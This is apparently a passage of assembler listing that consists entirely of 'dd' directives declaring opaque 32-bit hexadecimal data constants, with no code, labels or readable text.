0B4260B9Fh dd 6C005233h, 4BE6EEEFh, 0DE6D02E1h, 6907C1BCh, 0F040DC56h dd 0EECF4D29h, 0DA0801E7h, 0E28CD972h, 0DD56300Fh, 0B01F6624h dd 0E9695380h, 24EB03E4h, 4F5C3BB1h, 0C2951505h, 6E271488h dd 0CDCA1650h, 0E960D6Fh, 0DBC19A1Fh, 0BBE0EFE3h, 0F3E4518Fh dd 49340B16h, 0D1D6F00Fh, 6109FE13h, 2E07FB9Ch, 6A8B0021h dd 80129BCh, 61F5F8F0h, 0B574309Eh, 0B0790B30h, 0E5908AD0h dd 5CDC298Bh, 8F94844h, 2F8812B9h, 6A64885Dh, 596C33Eh dd 0A2928B71h, 82532004h, 0BF208857h, 0D567A82Ch, 0E04A7400h dd 2C66408Ah, 2458FC11h, 9B0069E4h, 301CD437h, 447AAC25h dd 0F66C0044h, 712A89E4h, 1601B0F1h, 0C249AF01h, 0E2D4A963h dd 57991637h, 21940091h, 0C7F7B04Ah, 0FD0B9600h, 66BF1DB5h dd 847101EEh, 0C0D62758h, 0BED5FD4Dh, 1C90CB61h, 50B148h dd 38F8F691h, 0AB4EB6A1h, 0D0587500h, 9C5CE1C6h, 0BC53E9Eh dd 6EE967h, 9EC54EFh, 58A41A00h, 0EDB786C6h, 40DC257Bh dd 6A4D5021h, 0E83842D2h, 94724B20h, 333B0043h, 0BD6B19CFh dd 0E95D2A6h, 2F0151C4h, 357E0AA7h, 88252A8Eh, 4321681Ah dd 0F781D00Ch, 929B3986h, 28C47225h, 0CE13A1Eh, 71BA7DC0h dd 10F2561h, 0F9208F91h, 0CD94502Dh, 0E99991D2h, 0BB0D4100h dd 2FF95F6Ch, 9682B500h, 12EA847Fh, 251600A7h, 0A98DBF59h dd 0F785A53h, 8EAE0700h, 9050151h, 8914BBD7h, 0F88C23EFh dd 0A2399090h, 0EC44CAC7h, 0ACC213E8h, 5080E1E3h, 0C88B1208h dd 3D4D69F3h, 0A881F2B9h, 0F8F156E5h, 108C2695h, 0D8413D8h dd 53FB41D2h, 8CED2B91h, 0D9732881h, 0E41BAB3Fh, 83167709h dd 34200C2Ah, 0E8FDE30Eh, 885D0015h, 195BEC5h, 0D0B0728h dd 91B20304h, 0D2608928h, 95C004DDh, 0E2736F59h, 0EA470094h dd 7953EC9Eh, 256E007Dh, 8AB59C6Ch, 483D978Bh, 0C8073DE0h dd 846A00C0h, 6020F09h, 0DC21FF57h, 68C8A068h, 9F0C2440h dd 0AEF9136Fh, 0DAC40663h, 0B03864BBh, 0ADF281D5h, 0AF5D66A8h dd 39D4633Ah, 5F1092D0h, 7001E898h, 9E244A35h, 709D902Fh dd 6304224Dh, 6FFACB5Ch, 3C003CB2h, 0A4F8B63Eh, 0A2062926h dd 9734AF92h, 161A15E6h, 0D908C031h, 0AD188E01h, 4A4A90A0h dd 0DA102062h, 0A200F56Dh, 4247EC33h, 176B7Ch, 0E072D4Bh dd 46ADD7C8h, 5368E30Eh, 1B54843Fh, 821848C7h, 7276AEFAh dd 0D580D880h, 4302775Eh, 7E5A8A52h, 0BD31601Ah, 5559016Eh dd 0E462B283h, 80103856h, 0B0AD0C8Fh, 981E009Eh, 250B92FBh dd 71FA96B9h, 14FD730Bh, 345E70h, 0E6F8FADAh, 574B1FE7h dd 39B3C460h, 3FB10095h, 251FA5Eh, 6D0123FFh, 80EC3D1h dd 0E43253D9h, 87E01000h, 0EEC77A96h, 7F8A953Ah, 734F7074h dd 20DD7832h, 6EFA7D84h, 0B88A9300h, 0EDDC5CECh, 574B0770h dd 0A1CE9DF7h, 790B99FEh, 833E10BCh, 190B392h, 11FE5EADh dd 8645F32h, 16912451h, 30F21680h, 0B3CB734h, 0F59608A0h dd 4FBFD08h, 0C08D04EBh, 0C068AC05h, 9C4C9883h, 0B06C01Fh dd 96D8C480h, 0FBF11209h, 21C0E45Bh, 669D7C0Eh, 8A9C046Dh dd 9CF07A84h, 0F2820E6Dh, 0FE000874h, 0D89FF8D7h, 127E4807h dd 525115A4h, 41D86AA7h, 7D905857h, 1128204Eh, 2A01785Fh dd 92247254h, 35D83FC3h, 10E20012h, 3E52806Ch, 8890BEA3h dd 108F4D25h, 4A78D168h, 8BD488C8h, 68003B4Eh, 3C7791ECh dd 2AB400B7h, 98962C82h, 925A0172h, 17403C58h, 835F909h dd 91802C78h, 0FA9602A8h, 267F8902h, 587CD457h, 0EC4059Ch dd 2129D906h, 722616B8h, 70D24AF4h, 80187CA1h, 0B28CC7DEh dd 57072EE5h, 0AC5EE165h, 94236F70h, 0F481401h, 0D9092024h dd 0BCE89AEFh, 6EE86C6Ah, 0A0DBC025h, 23D1927Ch, 98C84B57h dd 408A19F4h, 3B0C278h, 26F217Dh, 0FC85384h, 0A097152h dd 5841CC9Dh, 0D7CA0DA8h, 2AD94B37h, 3DA1A860h, 0DCD601D3h dd 0C96609E6h, 90C05319h, 8CA253D4h, 23950F00h, 0C46115AFh dd 1D6D3848h, 0DC24762Fh, 7691740h, 5036070Ah, 151EF0A3h dd 893B80D8h, 441D1666h, 1B9D9DFh, 0F69BC5DCh, 542F1AFBh dd 0CA031200h, 0E7F98AC9h, 0D2E486E3h, 0C4E40758h, 180EFE2Ch dd 44946865h, 0B48034B2h, 9537A4A6h, 7D5E3104h, 50C593D8h dd 30AB90E4h, 2449D5EEh, 0E00F328h, 0A9C31CF8h, 0FC033E74h dd 0BB471E67h, 97E5021Ah, 8511E64h, 6A118701h, 98215D67h dd 27807828h, 0F5FAD2F6h, 0DA80489Ch, 86EC0949h, 741004Ch dd 507BEA12h, 9A3F4F9Eh, 0F8E30944h, 0D8D0B0E7h, 2C8D4510h dd 0E001C078h, 1D70A26Fh, 17A3C3B7h, 0CCA890EFh, 7F0108EEh dd 1C2FFBFh, 31D4D99Bh, 4773206Dh, 90103Ah, 77E805F5h dd 39857261h, 0FB803F9Bh, 60D42FE9h, 2B1D96A0h, 0BD408762h dd 0B57B9C13h, 0DCAB0CFEh, 4D898869h, 80D06848h, 0BAFF726Dh dd 19804B1h, 8C280FF4h, 14815374h, 21D6FA00h, 77B2FB09h dd 742CD015h, 79E18037h, 0CEBD3E12h, 23694044h, 3C18A42h dd 0E9EC18E6h, 72DEC089h, 52A20994h, 0BC483CF2h, 5C8A8E93h dd 0E8D962F8h, 2DEDAC19h, 0C048B87Ch, 24B45E2Ah, 43B404C0h dd 8901DBF0h, 714925E6h, 0DD702CD2h, 1FBEC14h, 0BD5FC5C3h dd 3CFF9458h, 7838099Ch, 1F3498D9h, 0F43AF60Eh, 0FABBFCBCh dd 5A9B012h, 0DD595B72h, 93A8A841h, 2A264C00h, 727362ABh dd 485A0998h, 0FCD8E6D8h, 0DAF6E20h, 397FE7E1h, 94202B38h dd 0B9DEB0h, 25EB29FDh dd 2109F55Dh, 723948h, 81CD9211h, 4EA496E0h, 0A1ECC816h dd 839C6F00h, 0C8A90D8Fh, 0CBD600B8h, 20FBF7E1h, 0B23F7DA6h dd 0C0FE00ECh, 0E20E10AEh, 0C4F25108h, 2B8F9C02h, 0D0C8B061h dd 1B27940Fh, 6C54A2D5h, 0DD9222CDh, 0C6804028h, 0E3320619h dd 0CA8A0304h, 0CBAD5E5Dh, 0A7DC3DA8h, 0B7507264h, 66119CEDh dd 74FA0337h, 0A8441D16h, 0D4AEFEh, 0A1728FA5h, 5AD08C9Bh dd 0E904FD25h, 15C1C038h, 53A2422h, 4EECAC44h, 10049F49h dd 0DB8E721Ah, 11E50191h, 0F1ED6A0Eh, 24D67C43h, 0D6CF641h dd 0BEF0EAC3h, 588BA238h, 0FAC0B4FEh, 0D2269CCh, 0C059C0A2h dd 85BE5D00h, 0C6656Fh, 0C906EDADh, 0E15B283Eh, 0F98E7700h dd 0A51B049h, 0D030C4C3h, 3AB4E4A0h, 0F8BFE707h, 0C9B704B3h dd 4E216B70h, 0A49C28F0h, 0C44CE59Ch, 9158BEE3h, 5D3810h dd 7E84DF49h, 0A08643A1h, 71E511F0h, 885B50E9h, 0D0C68A60h dd 0C5A9807h, 0AA57F6A6h, 0A808C5F0h, 99910134h, 1043F207h dd 73AC4052h, 8240FDB5h, 25E849Ch, 30F2A052h, 543B9D00h dd 0A24EBA59h, 71339000h, 4360B311h, 18F00BCh, 5B98BD14h dd 9EFA7C66h, 1A44F898h, 929F3D9Ah, 9A427D13h, 0EF55090Ch dd 0A45849h, 0F9E5276h, 0C866B131h, 178C4650h, 7EE788h dd 0BE799575h, 0B1029D65h, 0A42024BEh, 426C875Ch, 1C353840h dd 1C49EB71h, 7857804Dh, 0F2117Eh, 0E783A2CEh, 0A14EC8BCh dd 589B1A17h, 0A30700C1h, 18C4F012h, 18007AE8h, 1DC1FF75h dd 5352C5h, 28584BB8h, 6608A3A1h, 44E71924h, 0BCD85716h dd 20C24E75h, 21EB5F90h, 0D110A600h, 19C87C45h, 2A4B0080h dd 9E1BB1B2h, 1A2AA002h, 0DB444873h, 0D1525AFEh, 508B0A24h dd 0E3564CFCh, 0E01FE97Bh, 0C7408E95h, 0FE4F8607h, 55C0A63h dd 2E949A9Eh, 1D3B4094h, 0FF7268C7h, 1F33B000h, 0EE136C18h dd 0E06F09BAh, 0C273A5Fh, 973E42D0h, 0EA004459h, 0F68FC9C8h dd 5AA20020h, 9AA81439h, 11EF19Dh, 1ACA8253h, 8C91608Fh dd 868E42Eh, 92889C65h, 5FD544D6h, 0F25EDC01h, 0D2F069B7h dd 976517E8h, 263C0095h, 0EF98FF40h, 0E05DDC3Ch, 0F4FBFA91h dd 15941D29h, 0C80E05E3h, 0EF606366h, 2A7294E1h, 58082812h dd 6A4D8444h, 2218E289h, 0B469F87Ah, 0F1664200h, 13A3C4E8h dd 0B57E19C0h, 0CB86EDh, 48158FC7h, 0CF5F7C2h, 9600C4B1h dd 9FBFDF8h, 0C67F1D6h, 2BA0E00Eh, 4DA5B900h, 0FF00051Eh dd 0BD70D494h, 0EE12B00Bh, 3258A966h, 0E54EFA10h, 0C78A1800h dd 52055DB9h, 0A888B784h, 0D06925DCh, 9CF8A65Bh, 0E84CCE11h dd 0E6246604h, 519404E9h, 2458A054h, 823190CEh, 68E59A69h dd 0AC885258h, 0D91828BCh, 477215BFh, 0F0097C22h, 0B472F5EEh dd 760B6003h, 0C86227B8h, 0BD684B1Bh, 0A953FF00h, 0CC24610Eh dd 63101C87h, 0AD9D9CC8h, 1F131B93h, 0DF5E890h, 0A0213162h dd 11C596A1h, 0F2158665h, 79C71FC0h, 93A167C2h, 0E6909811h dd 0CFB486Ch, 4A910221h, 3915302h, 7C788B6Eh, 0CB0075E0h dd 1677A657h, 98EDEFF9h, 0BF6E5058h, 0AD2C0028h, 95C6494h dd 0F6E07097h, 3800B891h, 2865F718h, 13810084h, 119DBA94h dd 0C90546DEh, 0D86678AEh, 294ACC32h, 0D200CCD9h, 0EF643788h dd 235C0019h, 162A91CEh, 6914FE33h, 4F80C806h, 0F4934020h dd 42500F3h, 5295242Fh, 25950964h, 0CD06D5Ch, 99A182EDh dd 523F0798h, 434FA1D5h, 8AC7D4E6h, 9AD01301h, 8336A190h dd 0ADEF128Ch, 0E386D4B0h, 8A0A6D10h, 0CA26C083h, 0A2970371h dd 0C3FDDDCBh, 0D8663681h, 0B73944A9h, 0C0C8DC5Bh, 48C9F639h dd 25BE047Dh, 0C4C2AEACh, 82F0444Ah, 80861FC6h, 3BC9CC98h dd 0B4D0C4AFh, 40A1889Fh, 4AF1B900h, 0D7AC847Eh, 0BF4B03C4h dd 166CC303h, 0B39289B0h, 2960665Dh, 6792FC12h, 981E1C28h dd 301326ADh, 0EE350800h, 0F5D84E00h, 14A0E6Bh, 1679124Bh dd 71CBF84Dh, 0AF2F3073h, 0C5D20404h, 64826DC7h, 87321E8h dd 6FE7F801h, 4F43C4B0h, 735E9D22h, 24865DA0h, 5AC3F92h dd 0D3EB21D7h, 50228DB4h, 0E7E129BBh, 42BD00A0h, 0F5F37C95h dd 0CFC63506h, 20B876A6h, 0FA7DFE15h, 0AB2C23B5h, 43F088F2h dd 0CC200C1h, 7740E821h, 92539976h, 6EB403B0h, 0F1C26958h dd 40BA494Dh, 0C8764F78h, 53895950h, 0BFDF2520h, 0BD07A822h dd 8AE81010h, 0DDC2E8DCh, 0B7D85669h, 0C08088A0h, 8911025Bh dd 42A30043h, 2FB136B5h, 0A23322D0h, 0CCE9D8C8h, 0B400C0E6h dd 63F3D6AEh, 0E70E2284h, 0DCF2797Ch, 8AB12A81h, 413BC2C4h dd 0AB6DCAD8h, 0ED2471B5h, 86060D72h, 0B5AE1691h, 0A9B4200Bh dd 7300E557h, 0CC38EFA4h, 71466Fh, 0ACA1CA1Dh, 0E8681A72h dd 79D2225h, 0F1345EC8h, 0A9C59123h, 2E9B8078h, 0E47C526h dd 0EE22ED23h, 5B03D20h, 0D804FBA8h, 0BAD07951h, 0F8BE5481h dd 4E894608h, 40425030h, 22970A63h, 0C082B1F0h, 19C4E0Fh dd 0B66F9BA2h, 62969562h, 14E80904h, 99CC49Ah, 0F8C250E5h dd 0C8465809h, 0E4149227h, 0C29E0018h, 0E6120FEAh, 0A800F30Dh dd 0FB36A6EEh, 4D2CE0F1h, 603B6495h, 58D622C2h, 0A1054BEh dd 0E03BD9h, 9ACE46F0h, 2593F1C7h, 0EC1AC1EDh, 0E1AC5460h dd 0B5624484h, 3F4A48C4h, 0A4E5AD04h, 0A50361D8h, 739E8251h dd 339D80C4h, 1CE30774h, 4FFD237Eh, 533849FDh, 3098B885h dd 0C3AF1E98h, 0E9B6100h, 0D855C7BFh, 58720B5Dh, 0E498F8D9h dd 109FC17Dh, 0BA218h, 6E4FB16Bh, 77818A2Fh, 63D9E905h dd 8408B5EFh, 499C645Ch, 0C40806Dh, 249A536Ah, 17F86F46h dd 0EC343067h, 3148FF8h, 58EC3592h, 332BC0F4h, 0A33C22h dd 0CFBC0E7Dh, 68D0350Dh, 1F642F48h, 0AF0A15A4h, 0FD89AC3Ch dd 52F5h, 7A1BA1EAh, 0D7ADE544h, 81BBC807h, 3FD01E11h dd 929B76Eh, 0FA869414h, 0CE283410h, 5C914D80h, 8CC814D8h dd 902C44A5h, 718F2E9h, 0B239AFDAh, 0DB611057h, 0FE1EC47Dh dd 0D7936A03h, 44B3E012h, 63C85200h, 4FD515Ch, 7200B4A4h dd 85261F0Eh, 0B047AB87h, 6F7E04B0h, 85CDFCD4h, 1F60A25Ch dd 1C8E9913h, 2F6D6052h, 358627h, 65029EBBh, 41DD2DFFh dd 0A8EA80BCh, 0DC8B610h, 0E8684D89h, 2E5C6D2Ch, 4038F699h dd 0BD597941h, 5873F712h, 33E6BC04h, 0A49E8C48h, 0F6AD1440h dd 7C0C36h, 0DA22EC50h, 76FBA034h, 0FED75812h, 0DDC0201Dh dd 78249952h, 3CD5F435h, 57B0F3E6h, 764A9F0h, 0E8365002h dd 61589B1Ch, 0FD0DEFACh, 8AD018Eh, 2C2650C0h, 894731Dh dd 8A10D94Eh, 944CF853h, 4378E449h, 0DD3E1083h, 47708A00h dd 0FBD21868h, 9A8EE404h, 4A3918Bh, 1A9FF905h, 0D2D0CC6Bh dd 1209E188h, 819BD166h, 158895ECh, 0F4D97807h, 6C808415h dd 161073D6h, 720E25h, 3AAABB86h, 0AB3B9861h, 29658015h dd 7D4F1418h, 59AF277h, 0C7BCED79h, 0A2A884D3h, 432E0014h dd 0FFA38B39h, 0F69B000Bh, 0FC1BCC7Eh, 0D4094F41h, 82F5CB37h dd 11E03424h, 0C054729Ah, 2215BA90h, 8ECF0065h, 0FFF39E50h dd 5476BF52h, 413D6627h, 4D1057BCh, 0B8A8190Eh, 0B980D67Eh dd 0D4960082h, 4DED3734h, 6400AACFh, 0C9F806E8h, 353E0E4h dd 5E85F46Eh, 1002E619h, 0C89990A6h, 8B6C48FAh, 2411978Fh dd 246A0D3Eh, 842C8504h, 0A4680820h, 885CDC84h, 61DB3E5Fh dd 281E6904h, 832578E0h, 12B3D4F8h, 2094CB30h, 845E43FBh dd 0A325847Ch, 0F68850B0h dd 888A3444h, 0D6002B9Ch, 2FBCFA20h, 7597335h, 627B2116h dd 42683145h, 3C4C6082h, 407999B8h, 50ADCF01h, 999D4427h dd 203421h, 0B390C0h, 2516A821h, 59710F97h, 98466119h dd 2A0C22B1h, 2E4CCE54h, 20738140h, 0C0A011A1h, 1E00318Bh dd 0F13980CDh, 7FF574h, 83B5ADFAh, 294BBD91h, 168DD500h dd 0EABA43F2h, 3F530051h, 6856F3CFh, 17128BF6h, 0D80FA5FDh dd 82C344A8h, 0B27E565Fh, 5C428030h, 1B869h, 0DA53CB48h dd 0A87BF3BCh, 5495A424h, 12E6213Fh, 74E76Fh, 2F2970B5h dd 4F82A1Ah, 429D648Eh, 29C8117Ch, 0DE91D443h, 0A6526D00h dd 15AA240Ah, 7440F54Eh, 22323FFFh, 35C41CB6h, 74F24069h dd 55C76C2h, 0C988EE2Fh, 0F109DFCCh, 99C91715h, 343283D8h dd 0FC7B8B84h, 5AD8264h, 19745183h, 0DCFB39CBh, 0A109DA69h dd 45B5157Ch, 4D8B04ECh, 30A852A6h, 2B479780h, 0B100076Bh dd 0E665C805h, 0EEACAB48h, 8C34A96Fh, 6880806Ch, 0C84DECE3h dd 7221CCB8h, 0A8283F9Eh, 0C0981F14h, 812F525Fh, 0E87930h dd 9D04FBFAh, 0C0231420h, 0C49E03FCh, 3A7753h, 30FD7DABh dd 70795E3Dh, 6FE0AB0h, 0E4497227h, 12A7701Ch, 8B0DFBF6h dd 8E4248Ch, 5FC8BC10h, 2F6BDC85h, 0AC9214ECh, 8CC5A008h dd 3FE4733Ah, 5C0075ADh, 0E03E1E6Eh, 0D620E8B0h, 0ADD7405Dh dd 8CE2934Ah, 39D07C09h, 1819ED82h, 0E5ABE3E0h, 0E1A150A0h dd 0D71CA500h, 9B18936Dh, 3BDE8F9h, 3FDE69A7h, 82A268CEh dd 3237C484h, 1CFA25B9h, 47D4D3F8h, 944BF644h, 0C804ABF4h dd 44CC0E6Ah, 8C6B5CDEh, 839011h, 81A15263h, 2CFF8955h dd 11406FE5h, 16FE1317h, 544CE4A3h, 95882321h, 0B9AD008Eh dd 457AA253h, 8894024h, 0AC146371h, 10A18058h, 0E1088Bh dd 0F5BF777Eh, 1D2422FBh, 6020AD4Eh, 0B6FACAh, 0B4E89C20h dd 4498DE99h, 9F5CE748h, 51E542C0h, 40DD53Bh, 0DF6AE95Eh dd 0C4D0D420h, 888C165Eh, 6400BB14h, 3358433Ch, 710EDB5h dd 8241177Dh, 6B8A2185h, 0A150287Eh, 782070BEh, 274801B3h dd 0C6F8CBAEh, 848BD68Eh, 0C8285C72h, 3343D476h, 0BC809622h dd 2849068h, 7537765Ch, 20E05472h, 3A842E0Fh, 0DC407894h dd 0D2EC535Ch, 913EBC0Fh, 1AFB2A0Ah, 0B09B1354h, 0FA88D2B4h dd 8F25224Bh, 0F1289604h, 3CC808FBh, 0AAF473h, 74D4607Ah dd 0B6851A16h, 0E804765Ah, 1E22F8C2h, 1286E213h, 78103255h dd 0BAA22098h, 27250DF0h, 80A87133h, 96DBE621h, 7400B18Ch dd 0FE163E57h, 9EF8F5CCh, 0A40B27F0h, 0F240458h, 0CE64E0E9h dd 0D404C84Bh, 56393298h, 0BA24E0DCh, 0D7000E8Bh, 0CF726FF0h dd 49DE6A01h, 405390BFh, 0B79D8400h, 7E510442h, 0F07D4403h dd 0A5564EC6h, 0A93488h, 20F16F5Ch, 9F112214h, 3F2C29F2h dd 4100BE67h, 924C5912h, 0F971131Ch, 8498D0F5h, 2B33E15Fh dd 88E04EDDh, 1169555h, 6D14F59Dh, 338F943Ch, 5EC26F0h dd 9D4C827h, 2A2001Fh, 0B8D9D6B2h, 5E00476Dh, 0EFF04F32h dd 2C6B7BDh, 1AA0BEFEh, 0C844512Fh, 0F051CB65h, 0B44888h dd 0A0BA749Dh, 0D38C928h, 92329F02h, 5661AE03h, 0E2051D20h dd 17E8D881h, 131CF320h, 1492165Eh, 1E10B2ABh, 0DD409F1Fh dd 54B06135h, 0F7D827F9h, 0C2750090h, 3D42ECB8h, 68C59027h dd 0F2EA4703h, 0B59AC8E3h, 88E000Eh, 0C3C90C12h, 0B726BE1Ah dd 13153825h, 18182570h, 8019B98Ch, 9426CC53h, 0E6627411h dd 0D264496Ch, 0B8AAF20Ch, 2A4044D6h, 7DD06Ch, 0ED78DCD7h dd 0DD7AF055h, 0E6038F0Ah, 642F9067h, 1626028Ch, 0C625F808h dd 741AC60h, 0D72E100h, 3BADDA68h, 5237005Ch, 0A549316Dh dd 5A60D44Ch, 0EF8A4010h, 0BCCE0203h, 0D56A8B8Fh, 0F780D0F3h dd 59084FADh, 0A5EF0096h, 12890E94h, 9104B03Fh, 0C49E90E6h dd 3CAE8081h, 12836E0h, 21207C8Eh, 8039E153h, 0BCE9A08h dd 0E02A1581h, 0E50D01A8h, 0CD82EF27h, 202080F9h, 0DE017A28h dd 0D0EE03FAh, 98177F3Fh, 13994907h, 11AC2B77h, 0E2B300BBh dd 0EAACEF93h, 0A400225Bh, 2BC68E65h, 31D30BD5h, 0DA5933B9h dd 21088029h, 4DFA25Bh, 376E03ACh, 0EEE18038h, 90FE28EEh dd 15E52800h, 7C475E31h, 0A87200CDh, 6554E7Fh, 530093B9h dd 622A36FEh, 0A085F2h, 0A2B5F29h, 892CE93Ch, 0C91AE00h dd 0A2073746h, 0BB6E0040h, 8DBDB633h, 0AC00216Ch, 5CB0351Fh dd 350287Ah, 83611CFBh, 2BD80E99h, 0F31E8247h, 0B0B18F6Dh dd 0F180AE4Ah, 7C8D9A70h, 0E072CBF9h, 0A83CA402h, 8044A327h dd 9D384BE9h, 0A80D51AAh, 0A2F3AC00h, 24F9CF1Eh, 8AC4058Ah dd 808C25CDh, 7D36C0A0h, 200E9E3h, 928611A7h, 0A61A336Fh dd 80B303BCh, 7BB9763Bh, 0F0A4FEEAh, 0F37A406Eh, 0A4E0F6DFh dd 0F17E00A4h, 4EE46E79h, 0D100C66Fh, 0E535840Ch, 187849CAh dd 990BA7F3h, 49C08C4Ah, 692C8775h, 6FAF0006h, 0F8D4A493h dd 21C0804Ah, 6D754835h, 0F5B4001Ch, 0EC49CB46h, 23009A55h dd 41BB8921h, 0C3828CF1h, 18A0D331h, 7381E902h, 46B2B96Fh dd 0D3924450h, 0C640B548h, 61999A5h, 0AB6FBAB1h, 864489B8h dd 7C77810h, 0F588267Fh, 0A0D4501Dh, 4400EF62h, 6FCF0C3Ch dd 35EAA3h, 3FAB4056h, 34D8D5B5h, 54AC0301h, 0CFF14AE3h dd 43B23440h, 0D8D20464h, 202BDD4Dh, 3A76655Dh, 96817AB4h dd 2A3A25A1h, 26C88871h, 546B445Ah, 4002C064h, 74DE26h dd 0CA9DC11Eh, 460F0D87h, 1AE4123Dh, 0A4414AE1h, 1C47180Ch dd 15F4619Dh, 0F3D040FDh, 0F97D9Ch, 48B4AA3Eh, 2488A8EDh dd 0B751FF80h, 1ABC86h, 0C02C0C81h, 0F1CCD7F7h, 7413A0A0h dd 2923B80h, 587A7832h, 0A89809BBh, 0D3E09DD9h, 0A780F300h dd 0D1605F66h, 40E1297h, 0C988232Ah, 0D373710Ah, 7C40ECB4h dd 0CB56BDDh, 557AFCB9h, 1D22D1C0h, 846D2AD5h, 0CCEB1D1Ch dd 16A20C62h, 17F87741h, 6C9BE124h, 1E3188A0h, 0F2CD2169h dd 250129BEh, 1D701FA5h, 6A75DCA9h, 3E944301h, 42EE1C32h dd 40316830h, 2D1F294Ch, 0FCC03318h, 98B2BB61h, 89D6584Ah dd 27196400h, 3E1FBEA9h, 96F42309h, 125C841Dh, 28226032h dd 4668468Dh, 0B9FF02A2h, 2FE36B3h, 0BD2099A8h, 0F212DD33h dd 9335001Ah, 0EF9DBDAh, 960F15E4h, 64F28D5Fh, 44C8217Fh dd 0CBDC02B5h, 7212AAE9h, 5B0A3040h, 0B2A24484h, 0DCFBE8A0h dd 50695A80h, 1AF86E8h, 41262EA7h, 0F4AB74A3h, 0D4006E39h dd 0CC23A29Ah, 0C0EFCD91h, 7DEAC1B9h, 2262EC47h, 115AF668h dd 7BD1259h, 2404F833h, 509038FFh, 0A4526EF3h, 457912E8h dd 0FE1600EBh, 0CD196A12h, 0FF324E00h, 18E129ABh, 3CD200F5h dd 0E417EA27h, 0F062CD90h, 0F7F8BE89h, 1155D4E0h, 3F805900h dd 0ED2DF247h, 6F5F064Dh, 80DAB1F0h, 16620D11h, 2C256D11h dd 4D40444Ah, 0C66293h, 92BD26A2h, 0CF752B7Eh, 0FD397910h dd 13EEB511h, 0AC25A428h, 0D11F5801h, 0E18037E6h, 832F6AADh dd 74583D34h, 21A9CF9Ch, 7C08C13Bh, 42D81460h, 838A7829h dd 31DB670h, 1BA94F69h, 1106A5EEh, 55646021h, 8217E698h dd 0F3A33C40h, 47363900h, 76B319C6h, 3AD70010h, 0DBF06282h dd 430B88A8h, 801C08B5h, 1B6BE3FAh, 0A9763E3Dh, 105C40A4h dd 9435C9E6h, 0ABDB0010h, 5268B7ECh, 0F602268Fh, 646C2DC2h dd 73BB02C1h, 35062407h, 892904F1h, 9014A6D3h, 25812378h dd 82601E58h, 912AA0F3h dd 0FA108BC4h, 0D90367E2h, 5E7699C0h, 0AE85F09Bh, 8DD50019h dd 182F78CCh, 0F601E23h, 74894049h, 0C32CB079h, 4622CD20h dd 0A9F1700Ch, 4DE159D2h, 3400ACF2h, 92ABED5Ch, 6400361Dh dd 0A2B07145h, 980C37Bh, 0C6FC70A5h, 26A36C01h, 0C65A12FEh dd 0DA3F4434h, 6AC12260h, 66050Bh, 643BA1ECh, 9095971Ah dd 0D8A90D07h, 4C51A5FDh, 94704868h, 0C264883Dh, 2E9CD400h dd 5090CB79h, 66470094h, 238ADA4Bh, 10000A73h, 0E6BADB9Bh dd 0B05A211Eh, 2FEB21E0h, 91E1C43Dh, 652E00B0h, 0C0FCA892h dd 5AC293Eh, 287118A4h, 599F009h, 0BC22AB38h, 443621AAh dd 0BB1BC004h, 73276900h, 62D71C6Ch, 5E998F6h, 7AF55B0Dh dd 5A604E9Ah, 3DEDAFh, 509E39F6h, 5EF81C2Dh, 0B57DD600h dd 0FCB1C899h, 72491428h, 0AA0AC0CCh, 44A014A2h, 1B3A4021h dd 108CAC3h, 0F39F54DFh, 0F996B233h, 0EDB0ECE3h, 36808CB1h dd 9F45BBC3h, 1E7A0E46h, 8A410BDEh, 40DDC1F4h, 0E63B2E90h dd 8867CF80h, 0F360CD7Ah, 0B17DCE79h, 3DA0004h, 0F0CA914Bh dd 0A01BB93h, 0E5360685h, 0A0CAE12Ch, 68BFBAA8h, 0FE6F0077h dd 4DBE12DAh, 0E77E033h, 7C12367h, 0F1B71FA7h, 0B89D1053h dd 2C2F8DFh, 780EEB02h, 48607976h, 6084B268h, 821D6117h dd 0CB06FFAEh, 0CF3E2B77h, 58E048E8h, 0B64EF680h, 1B03709h dd 5D268100h, 48E654F5h, 0D70B4892h, 0E39BC706h, 8003E122h dd 0B4144ED3h, 8B30D95Eh, 2B2BCE0h, 4368F589h, 0E5E2CF2Ah dd 48B82087h, 99000591h, 5C83A757h, 0C31E0F76h, 1B40508Fh dd 0F3E28ED2h, 60544CDBh, 881E5C10h, 3BE14392h, 0DAEB4903h dd 881C5499h, 24EECB7Dh, 443C1F7Ah, 0B83D40A9h, 47C1E9Fh dd 0B2B4791Ah, 0FEFA8335h, 782EE7D0h, 100096B8h, 73164802h dd 0BA359B2h, 83778ECCh, 8198B488h, 0DB755679h, 94B44178h dd 405808BBh, 0D8B84016h, 126C8D44h, 83800BB5h, 693DE27Ch dd 2A24409Ah, 2AC0FC19h, 445CA6F3h, 0DD00D2A8h, 2152CDFh dd 966B44h, 0B2FF41B3h, 54C9A578h, 4AD6CD13h, 5E824405h dd 2B851480h, 0DB41C0A7h, 3E9E74FEh, 0B2417503h, 304CE925h dd 0C0207952h, 1AF6836Fh, 0C033EC91h, 2855A48Bh, 4474902Ah dd 0A7002861h, 7EB803D0h, 0C0F1E154h, 2EA84BC9h, 2C005194h dd 0F7FDD2Fh, 0AD5E8FAh, 0DA6249D3h, 8094A9A4h, 0D9F08F56h dd 7801A73Bh, 4A339770h, 98F8C936h, 0E1FD2E59h, 18AE00DCh dd 8B7F55A5h, 0CEB8CD09h, 0A2FC82A7h, 7AB89011h, 0D3500F1Dh dd 74401B1Ch, 0BB2AE86Ah, 29753200h, 0EF6941FAh, 16E6908Bh dd 0E06CE6Fh, 37E8D2A0h, 9978F38Dh, 0C863BE0h, 0DB8EF126h dd 0D870B261h, 27D3B8ABh, 80762938h, 6660383Eh, 73F554F6h dd 621E034Bh, 0D04264FFh, 26DA6018h, 24BA5931h, 451B80h dd 69C3FE5Bh, 0AA09686Eh, 603D6CFDh, 8954A6C8h, 22E9C05Ah dd 4CC8854Ch, 10F97D70h, 4979655h, 2B6DEEE2h, 19730099h dd 0B0A5CCBh, 0A628045Dh, 0D6FD2490h, 5D38223h, 0FF02FF2h dd 0A7E03528h, 0AA764A70h, 0A2EEE90Ch, 728955h, 818E1319h dd 46A3797Dh, 0C19D1F03h, 0C22B99BFh, 190882CEh, 761487FBh dd 83290100h, 7A2BE85Dh, 40630089h, 1DDC85ECh, 0D778AAA0h dd 0BC43DB4Eh, 0F8AF117Dh, 162237Fh, 0DE9CA1ACh, 9C8F22B9h dd 43803F78h, 11D9C924h, 0B4D200F9h, 49910F09h, 8D00DCB5h dd 53E6FC2Eh, 0B12BA87h, 0EEF4192Fh, 2EF80814h, 0E026B507h dd 2300D466h, 1F1370F9h, 493F90AFh, 35856F33h, 0D1849130h dd 0A07A10DBh, 1A5E1DDCh, 6F73C0BEh, 0A28DF11Fh, 2344C094h dd 0CC492943h, 